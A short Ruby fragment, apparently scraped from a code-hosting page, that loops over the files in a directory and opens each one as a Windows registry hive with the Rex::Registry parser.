Dir.foreach(ARGV[1]) do |file|
|
||||
next if file =~ /^\./
|
||||
next if ::File.directory?(ARGV[1] + "/" + file)
|
||||
|
||||
@hive = Rex::Registry::Hive.new(ARGV[1] + "/" + file)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user